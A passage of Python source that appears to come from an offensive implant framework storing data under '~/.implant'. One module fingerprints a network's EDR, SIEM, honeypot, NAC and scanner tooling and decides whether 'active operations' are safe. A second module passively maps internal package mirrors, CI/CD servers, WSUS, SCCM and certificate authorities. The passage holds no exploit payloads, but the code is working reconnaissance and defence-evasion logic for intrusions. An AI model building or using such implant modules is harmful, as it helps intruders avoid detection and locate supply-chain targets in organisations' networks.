||||
# Vulnerability Scanners
|
||||
(re.compile(r"(plugins|sensor)\.nessus\.org$", re.I),
|
||||
"vuln_scanner", "Nessus", 0.9, False),
|
||||
(re.compile(r"\.tenable\.(com|io)$", re.I),
|
||||
"vuln_scanner", "Tenable", 0.85, False),
|
||||
(re.compile(r"\.qualys\.com$", re.I),
|
||||
"vuln_scanner", "Qualys", 0.9, False),
|
||||
(re.compile(r"\.rapid7\.com$", re.I),
|
||||
"vuln_scanner", "Rapid7 InsightVM", 0.85, False),
|
||||
|
||||
# Honeypots / Deception
|
||||
(re.compile(r"\.canary\.tools$", re.I),
|
||||
"honeypot", "Thinkst Canary", 0.95, True),
|
||||
(re.compile(r"canarytokens\..*\.com$", re.I),
|
||||
"honeypot", "Canary Tokens", 0.9, True),
|
||||
(re.compile(r"\.illusive-networks\.com$", re.I),
|
||||
"honeypot", "Illusive Networks", 0.85, True),
|
||||
(re.compile(r"\.attivo\.com$", re.I),
|
||||
"honeypot", "Attivo Networks", 0.85, True),
|
||||
|
||||
# NAC
|
||||
(re.compile(r"\.forescout\.com$", re.I),
|
||||
"nac", "Forescout", 0.85, True),
|
||||
(re.compile(r"ise[\w-]*\.(local|internal|corp|lan)$", re.I),
|
||||
"nac", "Cisco ISE", 0.8, True),
|
||||
|
||||
# Threat Intelligence
|
||||
(re.compile(r"\.virustotal\.com$", re.I),
|
||||
"threat_intel", "VirusTotal", 0.7, False),
|
||||
(re.compile(r"\.shodan\.io$", re.I),
|
||||
"threat_intel", "Shodan", 0.7, False),
|
||||
]
|
||||
|
||||
# Port-based signatures: port -> (tool_type, tool_name, confidence, impacts_active)
|
||||
_PORT_SIGNATURES = {
|
||||
8088: ("siem", "Splunk HEC", 0.7, False),
|
||||
8089: ("siem", "Splunk Management", 0.7, False),
|
||||
9997: ("siem", "Splunk Forwarder", 0.75, False),
|
||||
1514: ("siem", "Wazuh Agent", 0.7, False),
|
||||
1515: ("siem", "Wazuh Enrollment", 0.75, False),
|
||||
55000: ("siem", "Wazuh API", 0.8, False),
|
||||
8834: ("vuln_scanner", "Nessus Scanner", 0.85, False),
|
||||
3790: ("vuln_scanner", "Rapid7 Metasploit Pro/Nexpose", 0.75, False),
|
||||
9390: ("vuln_scanner", "OpenVAS/Greenbone", 0.8, False),
|
||||
9392: ("vuln_scanner", "Greenbone GSA", 0.8, False),
|
||||
1812: ("nac", "RADIUS Authentication", 0.6, True),
|
||||
1813: ("nac", "RADIUS Accounting", 0.6, True),
|
||||
3799: ("nac", "RADIUS CoA (Change of Authorization)", 0.7, True),
|
||||
}
|
||||
|
||||
# HTTP User-Agent patterns
|
||||
_UA_SIGNATURES = [
|
||||
(re.compile(r"Nessus", re.I), "vuln_scanner", "Nessus", 0.9),
|
||||
(re.compile(r"Qualys", re.I), "vuln_scanner", "Qualys", 0.9),
|
||||
(re.compile(r"InsightVM|Rapid7", re.I), "vuln_scanner", "Rapid7", 0.85),
|
||||
(re.compile(r"Nikto", re.I), "vuln_scanner", "Nikto", 0.8),
|
||||
(re.compile(r"OpenVAS", re.I), "vuln_scanner", "OpenVAS", 0.85),
|
||||
(re.compile(r"CrowdStrike", re.I), "edr", "CrowdStrike", 0.7),
|
||||
(re.compile(r"Splunk", re.I), "siem", "Splunk", 0.7),
|
||||
]
|
||||
|
||||
# T-Pot honeypot: multiple decoy services on unusual port ranges
|
||||
_TPOT_PORT_CLUSTERS = {
|
||||
# T-Pot maps real honeypots to high ports; seeing many of these is a sign
|
||||
64295, 64297, 64300, # T-Pot management
|
||||
}
|
||||
|
||||
|
||||
class SecurityPosture(BaseModule):
|
||||
"""Map the target network's security tooling and posture."""
|
||||
|
||||
name = "security_posture"
|
||||
module_type = "intel"
|
||||
priority = 100
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._scan_thread: Optional[threading.Thread] = None
|
||||
self._detection_count = 0
|
||||
|
||||
# Cache of risk assessment
|
||||
self._risk_level = "unknown" # low, medium, high, critical
|
||||
self._active_ops_safe = True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "security_posture.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Subscribe to host discovery for port-based detection
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._scan_thread = threading.Thread(
|
||||
target=self._periodic_scan, daemon=True,
|
||||
name="sensor-security-posture",
|
||||
)
|
||||
self._scan_thread.start()
|
||||
|
||||
# Initial risk assessment from any previously stored data
|
||||
self._reassess_risk()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("SecurityPosture started — db=%s", self._db_path)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"SecurityPosture stopped — %d tools detected, risk=%s",
|
||||
self._detection_count, self._risk_level,
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
tool_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM security_tools"
|
||||
).fetchone()
|
||||
tool_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"detected_tools": tool_count,
|
||||
"risk_level": self._risk_level,
|
||||
"active_ops_safe": self._active_ops_safe,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Detection functions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def analyze_dns_query(self, query_name: str, client_ip: str = "",
|
||||
resolved_ip: str = "") -> Optional[dict]:
|
||||
"""Analyze a DNS query for security tool signatures."""
|
||||
for pattern, tool_type, tool_name, confidence, impacts in _DNS_SIGNATURES:
|
||||
if pattern.search(query_name):
|
||||
det = self._record_detection(
|
||||
tool_type=tool_type,
|
||||
tool_name=tool_name,
|
||||
evidence=f"DNS: {query_name}",
|
||||
confidence=confidence,
|
||||
target_ip=client_ip,
|
||||
target_hostname=query_name,
|
||||
impacts_active=impacts,
|
||||
details=json.dumps({
|
||||
"query": query_name,
|
||||
"client_ip": client_ip,
|
||||
"resolved_ip": resolved_ip,
|
||||
}),
|
||||
)
|
||||
return det
|
||||
return None
|
||||
|
||||
def analyze_port(self, target_ip: str, port: int,
|
||||
hostname: str = "") -> Optional[dict]:
|
||||
"""Check if a port suggests security tooling."""
|
||||
if port in _PORT_SIGNATURES:
|
||||
tool_type, tool_name, confidence, impacts = _PORT_SIGNATURES[port]
|
||||
return self._record_detection(
|
||||
tool_type=tool_type,
|
||||
tool_name=tool_name,
|
||||
evidence=f"Port {port} open on {target_ip}",
|
||||
confidence=confidence,
|
||||
target_ip=target_ip,
|
||||
target_hostname=hostname,
|
||||
impacts_active=impacts,
|
||||
)
|
||||
|
||||
# T-Pot cluster detection
|
||||
if port in _TPOT_PORT_CLUSTERS:
|
||||
return self._record_detection(
|
||||
tool_type="honeypot",
|
||||
tool_name="T-Pot",
|
||||
evidence=f"T-Pot management port {port} on {target_ip}",
|
||||
confidence=0.8,
|
||||
target_ip=target_ip,
|
||||
target_hostname=hostname,
|
||||
impacts_active=True,
|
||||
)
|
||||
|
||||
return None
|
||||
|
||||
def analyze_user_agent(self, user_agent: str, source_ip: str = "") -> Optional[dict]:
|
||||
"""Check HTTP User-Agent for security scanner signatures."""
|
||||
for pattern, tool_type, tool_name, confidence in _UA_SIGNATURES:
|
||||
if pattern.search(user_agent):
|
||||
return self._record_detection(
|
||||
tool_type=tool_type,
|
||||
tool_name=tool_name,
|
||||
evidence=f"User-Agent: {user_agent[:100]}",
|
||||
confidence=confidence,
|
||||
target_ip=source_ip,
|
||||
impacts_active=False,
|
||||
details=json.dumps({"user_agent": user_agent}),
|
||||
)
|
||||
return None
|
||||
|
||||
def analyze_radius_traffic(self, src_ip: str, dst_ip: str,
|
||||
dst_port: int) -> Optional[dict]:
|
||||
"""Detect 802.1X/RADIUS NAC infrastructure."""
|
||||
if dst_port in (1812, 1813, 3799):
|
||||
return self._record_detection(
|
||||
tool_type="nac",
|
||||
tool_name="RADIUS/802.1X",
|
||||
evidence=f"RADIUS traffic {src_ip} -> {dst_ip}:{dst_port}",
|
||||
confidence=0.8,
|
||||
target_ip=dst_ip,
|
||||
impacts_active=True,
|
||||
details=json.dumps({
|
||||
"src": src_ip, "dst": dst_ip, "port": dst_port
|
||||
}),
|
||||
)
|
||||
return None
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check discovered host ports for security tools."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
hostname = p.get("hostname", "")
|
||||
ports = p.get("open_ports", [])
|
||||
|
||||
for port in ports:
|
||||
self.analyze_port(ip, port, hostname)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_detection(self, tool_type: str, tool_name: str,
|
||||
evidence: str, confidence: float,
|
||||
target_ip: str = "", target_hostname: str = "",
|
||||
impacts_active: bool = True,
|
||||
details: str = "") -> dict:
|
||||
"""Record a security tool detection."""
|
||||
now = time.time()
|
||||
detection = {
|
||||
"tool_type": tool_type,
|
||||
"tool_name": tool_name,
|
||||
"evidence": evidence,
|
||||
"confidence": confidence,
|
||||
"target_ip": target_ip,
|
||||
"impacts_active_ops": impacts_active,
|
||||
}
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO security_tools
|
||||
(tool_type, tool_name, evidence, confidence,
|
||||
target_ip, target_hostname, first_seen, last_seen,
|
||||
impacts_active_ops, details)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(tool_type, tool_name, target_ip) DO UPDATE SET
|
||||
last_seen = excluded.last_seen,
|
||||
confidence = MAX(security_tools.confidence, excluded.confidence),
|
||||
evidence = security_tools.evidence || '; ' || excluded.evidence
|
||||
""",
|
||||
(tool_type, tool_name, evidence, confidence,
|
||||
target_ip, target_hostname, now, now,
|
||||
1 if impacts_active else 0, details),
|
||||
)
|
||||
self._conn.commit()
|
||||
self._detection_count += 1
|
||||
except Exception:
|
||||
logger.exception("Failed to record security tool detection")
|
||||
return detection
|
||||
|
||||
logger.warning(
|
||||
"Security tool detected: %s (%s) at %s — confidence=%.2f, "
|
||||
"impacts_active=%s",
|
||||
tool_name, tool_type, target_ip or "unknown", confidence,
|
||||
impacts_active,
|
||||
)
|
||||
|
||||
# Reassess risk after each new detection
|
||||
self._reassess_risk()
|
||||
|
||||
return detection
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Risk assessment
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _reassess_risk(self) -> None:
|
||||
"""Recalculate overall security risk level based on detected tools."""
|
||||
if not self._conn:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
tools = self._conn.execute(
|
||||
"SELECT tool_type, tool_name, confidence, impacts_active_ops "
|
||||
"FROM security_tools"
|
||||
).fetchall()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
if not tools:
|
||||
self._risk_level = "low"
|
||||
self._active_ops_safe = True
|
||||
return
|
||||
|
||||
has_edr = any(t["tool_type"] == "edr" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_siem = any(t["tool_type"] == "siem" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_nac = any(t["tool_type"] == "nac" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_honeypot = any(t["tool_type"] == "honeypot" and t["confidence"] >= 0.7
|
||||
for t in tools)
|
||||
has_vuln_scanner = any(t["tool_type"] == "vuln_scanner"
|
||||
and t["confidence"] >= 0.7 for t in tools)
|
||||
|
||||
# Score-based risk assessment
|
||||
score = 0
|
||||
if has_edr:
|
||||
score += 40
|
||||
if has_siem:
|
||||
score += 20
|
||||
if has_nac:
|
||||
score += 25
|
||||
if has_honeypot:
|
||||
score += 30
|
||||
if has_vuln_scanner:
|
||||
score += 10
|
||||
|
||||
if score >= 60:
|
||||
self._risk_level = "critical"
|
||||
self._active_ops_safe = False
|
||||
elif score >= 40:
|
||||
self._risk_level = "high"
|
||||
self._active_ops_safe = False
|
||||
elif score >= 20:
|
||||
self._risk_level = "medium"
|
||||
self._active_ops_safe = True # with caution
|
||||
else:
|
||||
self._risk_level = "low"
|
||||
self._active_ops_safe = True
|
||||
|
||||
# Persist for other modules
|
||||
self.state.set(self.name, "risk_level", self._risk_level)
|
||||
self.state.set(self.name, "active_ops_safe", json.dumps(self._active_ops_safe))
|
||||
self.state.set(self.name, "has_edr", json.dumps(has_edr))
|
||||
self.state.set(self.name, "has_siem", json.dumps(has_siem))
|
||||
self.state.set(self.name, "has_nac", json.dumps(has_nac))
|
||||
self.state.set(self.name, "has_honeypot", json.dumps(has_honeypot))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Periodic scanning
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _periodic_scan(self) -> None:
|
||||
"""Pull DNS data from other modules and analyze."""
|
||||
interval = self.config.get("posture_scan_interval", 120)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._scan_dns_data()
|
||||
self._reassess_risk()
|
||||
except Exception:
|
||||
logger.exception("Security posture scan failed")
|
||||
|
||||
def _scan_dns_data(self) -> None:
|
||||
"""Pull recent DNS queries from dns_logger and analyze for security tools."""
|
||||
last_ts = self.state.get(self.name, "dns_scan_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
dns_json = self.state.get("dns_logger", "recent_queries")
|
||||
if not dns_json:
|
||||
return
|
||||
|
||||
try:
|
||||
queries = json.loads(dns_json)
|
||||
max_ts = last_ts
|
||||
for q in queries:
|
||||
ts = q.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.analyze_dns_query(
|
||||
query_name=q.get("query_name", ""),
|
||||
client_ip=q.get("client_ip", ""),
|
||||
resolved_ip=q.get("resolved_ip", ""),
|
||||
)
|
||||
max_ts = max(max_ts, ts)
|
||||
|
||||
self.state.set(self.name, "dns_scan_last_ts", str(max_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_risk_level(self) -> str:
|
||||
"""Return current overall risk level."""
|
||||
return self._risk_level
|
||||
|
||||
def is_active_ops_safe(self) -> bool:
|
||||
"""Return whether active operations are considered safe."""
|
||||
return self._active_ops_safe
|
||||
|
||||
def get_detected_tools(self, tool_type: str = None) -> list:
|
||||
"""Get all detected security tools."""
|
||||
with self._lock:
|
||||
if tool_type:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM security_tools
|
||||
WHERE tool_type = ?
|
||||
ORDER BY confidence DESC""",
|
||||
(tool_type,),
|
||||
).fetchall()
|
||||
else:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM security_tools
|
||||
ORDER BY confidence DESC"""
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_posture_summary(self) -> dict:
|
||||
"""Return a full security posture summary."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT tool_type, COUNT(*) as count,
|
||||
AVG(confidence) as avg_confidence,
|
||||
MAX(impacts_active_ops) as any_impacts_active
|
||||
FROM security_tools
|
||||
GROUP BY tool_type
|
||||
ORDER BY count DESC"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"risk_level": self._risk_level,
|
||||
"active_ops_safe": self._active_ops_safe,
|
||||
"total_tools": sum(r[1] for r in rows),
|
||||
"by_type": {
|
||||
r[0]: {
|
||||
"count": r[1],
|
||||
"avg_confidence": round(r[2], 2),
|
||||
"impacts_active": bool(r[3]),
|
||||
}
|
||||
for r in rows
|
||||
},
|
||||
}
|
||||
@@ -0,0 +1,491 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Supply chain infrastructure detection — passively identifies internal
|
||||
package repos, update servers, config management, CI/CD, and container
|
||||
registries by analyzing DNS and HTTP traffic patterns.
|
||||
|
||||
Detection only — no exploitation or active probing.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS supply_chain (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
type TEXT NOT NULL,
|
||||
target_ip TEXT NOT NULL,
|
||||
target_hostname TEXT DEFAULT '',
|
||||
target_port INTEGER,
|
||||
evidence TEXT NOT NULL,
|
||||
confidence REAL DEFAULT 0.5,
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL,
|
||||
details TEXT DEFAULT '',
|
||||
UNIQUE(type, target_ip, target_port)
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_sc_type ON supply_chain(type);
|
||||
CREATE INDEX IF NOT EXISTS idx_sc_ip ON supply_chain(target_ip);
|
||||
"""
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Detection signatures
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# HTTP path patterns -> (infra_type, description, confidence)
|
||||
_HTTP_PATH_PATTERNS = [
|
||||
# Package repositories
|
||||
(re.compile(r"/simple/[\w-]+/"), "pypi_mirror", "PyPI mirror (PEP 503 simple API)", 0.9),
|
||||
(re.compile(r"/pypi/[\w-]+/json"), "pypi_mirror", "PyPI mirror (JSON API)", 0.9),
|
||||
(re.compile(r"/-/npm/v1/"), "npm_registry", "npm registry (v1 API)", 0.9),
|
||||
(re.compile(r"/@[\w-]+/[\w-]+/-/"), "npm_registry", "npm scoped package download", 0.85),
|
||||
(re.compile(r"/repository/maven-"), "maven_repo", "Maven/Nexus repository", 0.85),
|
||||
(re.compile(r"/artifactory/"), "artifactory", "JFrog Artifactory", 0.9),
|
||||
(re.compile(r"/content/repositories/"), "nexus_repo", "Sonatype Nexus repository", 0.85),
|
||||
(re.compile(r"/api/v4/projects/\d+/packages/"), "gitlab_packages", "GitLab Package Registry", 0.9),
|
||||
(re.compile(r"/v2/[\w.-]+/[\w.-]+/manifests/"), "container_registry", "Docker/OCI registry (manifest pull)", 0.95),
|
||||
(re.compile(r"/v2/[\w.-]+/[\w.-]+/blobs/"), "container_registry", "Docker/OCI registry (blob pull)", 0.95),
|
||||
(re.compile(r"/v2/_catalog"), "container_registry", "Docker registry catalog", 0.95),
|
||||
|
||||
# WSUS
|
||||
(re.compile(r"/ClientWebService/"), "wsus", "WSUS client web service", 0.9),
|
||||
(re.compile(r"/SimpleAuthWebService/"), "wsus", "WSUS auth service", 0.9),
|
||||
(re.compile(r"/ApiRemoting30/"), "wsus", "WSUS API remoting", 0.9),
|
||||
(re.compile(r"/Content/[\w-]+\.cab"), "wsus", "WSUS content download", 0.8),
|
||||
|
||||
# CI/CD
|
||||
(re.compile(r"/job/[\w-]+/build"), "jenkins", "Jenkins build trigger", 0.9),
|
||||
(re.compile(r"/api/json\?tree="), "jenkins", "Jenkins API query", 0.85),
|
||||
(re.compile(r"/queue/api/json"), "jenkins", "Jenkins queue API", 0.85),
|
||||
(re.compile(r"/api/v4/runners/"), "gitlab_ci", "GitLab CI runner API", 0.9),
|
||||
(re.compile(r"/api/v3/repos/.+/actions/"), "github_actions", "GitHub Actions API", 0.85),
|
||||
(re.compile(r"/_apis/build/"), "azure_devops", "Azure DevOps build API", 0.9),
|
||||
|
||||
# Config management
|
||||
(re.compile(r"/puppet/v3/"), "puppet", "Puppet v3 API", 0.9),
|
||||
(re.compile(r"/puppet/v4/"), "puppet", "Puppet v4 API", 0.9),
|
||||
(re.compile(r"/organizations/[\w-]+/cookbooks/"), "chef", "Chef cookbook API", 0.9),
|
||||
(re.compile(r"/nodes/[\w.-]+"), "chef", "Chef node API", 0.8),
|
||||
|
||||
# Internal CA
|
||||
(re.compile(r"/certsrv/"), "internal_ca", "Microsoft AD CS certificate services", 0.9),
|
||||
(re.compile(r"/acme/directory"), "internal_ca", "ACME CA directory (internal Let's Encrypt/step-ca)", 0.8),
|
||||
(re.compile(r"/v1/pki/"), "vault_pki", "HashiCorp Vault PKI engine", 0.9),
|
||||
|
||||
# SCCM / MECM
|
||||
(re.compile(r"/SMS_MP/"), "sccm", "SCCM Management Point", 0.9),
|
||||
(re.compile(r"/CCM_Client/"), "sccm", "SCCM client endpoint", 0.9),
|
||||
(re.compile(r"/CMGateway/"), "sccm", "SCCM Cloud Management Gateway", 0.85),
|
||||
]
|
||||
|
||||
# DNS patterns -> (infra_type, description, confidence)
|
||||
_DNS_PATTERNS = [
|
||||
(re.compile(r"(pypi|pip)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"pypi_mirror", "Internal PyPI mirror hostname", 0.85),
|
||||
(re.compile(r"(npm|registry)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"npm_registry", "Internal npm registry hostname", 0.85),
|
||||
(re.compile(r"(nexus|artifactory|repo)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"artifact_repo", "Internal artifact repository", 0.8),
|
||||
(re.compile(r"(docker|registry|harbor|quay)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"container_registry", "Internal container registry", 0.85),
|
||||
(re.compile(r"(wsus|update)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"wsus", "WSUS/update server", 0.8),
|
||||
(re.compile(r"(jenkins|ci|build|drone|bamboo|teamcity|concourse)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"ci_cd", "CI/CD server", 0.8),
|
||||
(re.compile(r"(gitlab)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"gitlab", "GitLab instance", 0.9),
|
||||
(re.compile(r"(puppet|puppetdb|foreman)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"puppet", "Puppet infrastructure", 0.85),
|
||||
(re.compile(r"(chef|supermarket)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"chef", "Chef infrastructure", 0.85),
|
||||
(re.compile(r"(ansible|tower|awx)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"ansible", "Ansible Tower/AWX", 0.85),
|
||||
(re.compile(r"(sccm|mecm|configmgr)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"sccm", "SCCM/MECM infrastructure", 0.9),
|
||||
(re.compile(r"(ca|pki|cert|issuing)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"internal_ca", "Internal CA/PKI", 0.7),
|
||||
(re.compile(r"(vault)[\w-]*\.[\w.]+\.(local|internal|corp|lan)$", re.I),
|
||||
"hashicorp_vault", "HashiCorp Vault", 0.8),
|
||||
]
|
||||
|
||||
# Port patterns -> (infra_type, description, confidence)
|
||||
_PORT_PATTERNS = {
|
||||
8140: ("puppet", "Puppet master default port", 0.7),
|
||||
8443: ("ci_cd", "Common CI/CD HTTPS port", 0.3), # low confidence — many things use 8443
|
||||
8080: ("jenkins", "Jenkins default HTTP port", 0.3),
|
||||
50000: ("jenkins", "Jenkins agent JNLP port", 0.7),
|
||||
5000: ("container_registry", "Docker registry default port", 0.5),
|
||||
443: ("generic_https", "HTTPS", 0.1), # too common for high confidence alone
|
||||
8140: ("puppet", "Puppet master", 0.7),
|
||||
4433: ("chef", "Chef Automate", 0.6),
|
||||
}
|
||||
|
||||
|
||||
class SupplyChainDetect(BaseModule):
|
||||
"""Passively detect internal supply chain infrastructure."""
|
||||
|
||||
name = "supply_chain_detect"
|
||||
module_type = "intel"
|
||||
priority = 200
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._db_path = ""
|
||||
self._conn: Optional[sqlite3.Connection] = None
|
||||
self._lock = threading.Lock()
|
||||
self._scan_thread: Optional[threading.Thread] = None
|
||||
self._detection_count = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "supply_chain.db")
|
||||
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
|
||||
|
||||
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._conn.row_factory = sqlite3.Row
|
||||
self._conn.executescript(_SCHEMA)
|
||||
|
||||
# Subscribe to host discovery for port-based detection
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Periodic scan of accumulated DNS and HTTP data
|
||||
self._scan_thread = threading.Thread(
|
||||
target=self._periodic_scan, daemon=True,
|
||||
name="sensor-supply-chain-scan",
|
||||
)
|
||||
self._scan_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("SupplyChainDetect started — db=%s", self._db_path)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
|
||||
if self._conn:
|
||||
self._conn.close()
|
||||
self._conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("SupplyChainDetect stopped — %d detections", self._detection_count)
|
||||
|
||||
def status(self) -> dict:
|
||||
det_count = 0
|
||||
if self._conn:
|
||||
try:
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT COUNT(*) FROM supply_chain"
|
||||
).fetchone()
|
||||
det_count = row[0] if row else 0
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"detections": det_count,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Detection functions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def analyze_http_request(self, target_ip: str, target_port: int,
|
||||
method: str, path: str, host_header: str = "",
|
||||
user_agent: str = "") -> Optional[dict]:
|
||||
"""Analyze an HTTP request for supply chain infrastructure indicators.
|
||||
|
||||
Called by tool_output_parser or directly by HTTP monitoring modules.
|
||||
|
||||
Returns:
|
||||
Detection dict if found, None otherwise.
|
||||
"""
|
||||
for pattern, infra_type, description, confidence in _HTTP_PATH_PATTERNS:
|
||||
if pattern.search(path):
|
||||
det = self._record_detection(
|
||||
infra_type=infra_type,
|
||||
target_ip=target_ip,
|
||||
target_hostname=host_header,
|
||||
target_port=target_port,
|
||||
evidence=f"{method} {path}",
|
||||
confidence=confidence,
|
||||
details=json.dumps({
|
||||
"method": method,
|
||||
"path": path,
|
||||
"host": host_header,
|
||||
"user_agent": user_agent,
|
||||
"description": description,
|
||||
}),
|
||||
)
|
||||
return det
|
||||
return None
|
||||
|
||||
def analyze_dns_query(self, query_name: str, resolved_ip: str = "",
|
||||
client_ip: str = "") -> Optional[dict]:
|
||||
"""Analyze a DNS query for supply chain infrastructure indicators.
|
||||
|
||||
Returns:
|
||||
Detection dict if found, None otherwise.
|
||||
"""
|
||||
for pattern, infra_type, description, confidence in _DNS_PATTERNS:
|
||||
if pattern.search(query_name):
|
||||
det = self._record_detection(
|
||||
infra_type=infra_type,
|
||||
target_ip=resolved_ip or "unresolved",
|
||||
target_hostname=query_name,
|
||||
target_port=None,
|
||||
evidence=f"DNS: {query_name}",
|
||||
confidence=confidence,
|
||||
details=json.dumps({
|
||||
"query": query_name,
|
||||
"resolved_ip": resolved_ip,
|
||||
"client_ip": client_ip,
|
||||
"description": description,
|
||||
